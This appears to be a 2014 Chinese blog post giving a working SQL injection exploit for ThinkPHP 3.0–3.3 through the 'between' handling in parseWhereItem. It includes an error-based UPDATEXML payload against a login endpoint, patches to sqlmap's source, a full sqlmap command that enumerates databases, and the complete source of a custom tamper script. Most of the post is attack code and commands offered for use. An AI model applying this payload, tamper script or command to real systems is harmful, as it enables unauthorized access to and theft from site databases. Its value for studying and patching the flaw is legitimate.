地址:http://xx.com/index.php/Admin.php?s=/User/Public/check

payload:act=verify&username[0]=='1')) AND UPDATEXML(6026,CONCAT(0x2e0x7167656371,(SELECT (CASE WHEN (6026=6026) THEN 1 ELSE 0 END)),0x716e726771),8197)-- 1between&username[1]=CN000001&password=xxxxxxxxxxx&image.x=65&image.y=15&_hash_=e23b2ac1ecea61a34252c0c93d28a8b6_b9327556a986738edb45004015776680

漏洞文件:ThinkPHP\Library\Think\Db.class.php

漏洞原因:parseWhereItem函数对between关键字的正则匹配错误,导致了SQL注入

 

问题:

1.TP对0x7167656371形式的数据都解释成是数据表的字段,因此对于sqlmap判断注入存在的关键字是无法利用的,需绕过。

2.GET请求时,由于TP的路由模式对URL中的参数取得时,未做URL解码处理,因此提交的时候不能使用URL编码,且不允许出现空格,会导致路由失效出现404。

3.sqlmap会对0x7167656371的字符串形式’qgecq‘做匹配,且大小写敏感,不然会造成无法识别注入点。

4.GET请求时在替换完payload时应该替换空白字符,但是POST时是不需要的

意味着–skip-urlencode参数可以根据需要添加

 

解决:

sqlmap的返回验证机制中有一个头关键字,可以观察所有的插入字符都是q开头的,且大小写敏感。因此需要修改这两处

lib/core/settings.pyKB_CHARS_BOUNDARY_CHAR = 'q' => KB_CHARS_BOUNDARY_CHAR = 'L'

lib/core/common.pyreturn retVal => return retVal.upper()

执行命令:

sqlmap.py -u "http://xx.com/index.php/ThinkPHP0day?key[0]=&key[1]=a" -p key[0] --prefix "='-'" --suffix "%23between" --tamper thinkphp0day.py --technique=U --dbms=mysql --union-char "156427916544" --skip-urlencode --dbs

 

thinkphp0day.py源代码:

#!/usr/bin/env python

import os

import random

import re

import binascii

 

from lib.core.common import singleTimeWarnMessage

from lib.core.enums import DBMS

from lib.core.enums import PRIORITY

 

__priority__ = PRIORITY.LOW

 

def dependencies():

    singleTimeWarnMessage("tamper script '%s' is only meant to be run against ThinkPHP 3.0~3.3" % (os.path.basename(__file__).split(".")[0]))

 

def tamper(payload, **kwargs):

    """

    Notes:

        * Useful to ThinkPHP

 

    Replace hex string

 

    >>> tamper("0x7163646271")

    ==> 'qcdbq'

 

    >>> tamper(" ")

    ==> '+'

 

    """

    blanks = '/**/';

    retVal = payload

 

    if payload:

        retVal = ""

        quote, doublequote, firstspace, end = False, False, False, False

        for i in xrange(len(payload)):

            if not firstspace:

                if payload[i].isspace():

                    firstspace = True

                    retVal += blanks

                    continue

            elif payload[i] == '\'':

                quote = not quote

            elif payload[i] == '"':

                doublequote = not doublequote

            elif payload[i] == '#' or payload[i:i + 3] == '-- ':

                end = True

            elif payload[i] == " " and not doublequote and not quote:

                if end:

                    retVal += blanks[:-1]

                else:

                    retVal += blanks

                continue

            retVal += payload[i]

 

    retValArray = retVal.split();

    retTmpArray = []  

    p = re.compile(r'(0x\w+)')

    def func(m):

        tmp = m.group(1).replace('0x','')

        tmp = tmp.replace('\\','\\\\')

        return '\'%s\'' % binascii.a2b_hex(tmp)  

 

    for val in retValArray:

        retTmpArray.append(p.sub(func,val).replace(' ',blanks))

        

    return " ".join(retTmpArray)

posted on 2014-11-09 00:20  milantgh  阅读(13196)  评论(0编辑  收藏  举报